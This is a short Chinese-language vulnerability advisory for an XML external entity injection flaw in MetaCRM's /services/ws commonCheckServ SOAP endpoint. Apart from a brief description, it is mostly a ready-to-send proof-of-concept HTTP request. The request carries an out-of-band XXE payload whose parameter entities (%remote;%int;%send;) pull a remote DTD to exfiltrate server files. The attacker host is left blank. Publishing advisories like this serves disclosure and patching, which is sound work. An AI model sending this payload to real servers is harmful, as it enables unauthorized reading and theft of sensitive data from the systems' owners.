MetaCRM /services/ws commonCheckServ XML 外部实体注入漏洞

2026-02-25 MetaCRM PoC Public

Description

MetaCRM 客户关系管理系统是一款用于企业客户关系管理的软件，提供客户信息管理、销售流程跟踪等功能。其/services/ws 接口存在 XML 外部实体注入漏洞，攻击者可以通过构造恶意的XML数据，利用外部实体注入（XXE）技术读取服务器上的敏感文件或执行其他未授权操作，可能导致敏感信息泄露。

PoC

POST /services/ws HTTP/1.1
Host: 
Content-Type: text/xml
Content-Length: 432
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 skyeye-scanner

Accept-Encoding: gzip

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://data.service.ws.metasoft.com/">
   <soap:Body>
      <tns:commonCheckServ>
         <accessSessionValue><![CDATA[<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://">%remote;%int;%send;]>]]></accessSessionValue>
         <objectname>1</objectname>
         <recordid>1</recordid>
      </tns:commonCheckServ>
   </soap:Body>
</soap:Envelope>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# MetaCRM /services/ws commonCheckServ XML External Entity Injection Vulnerability

References

Related Vulnerabilities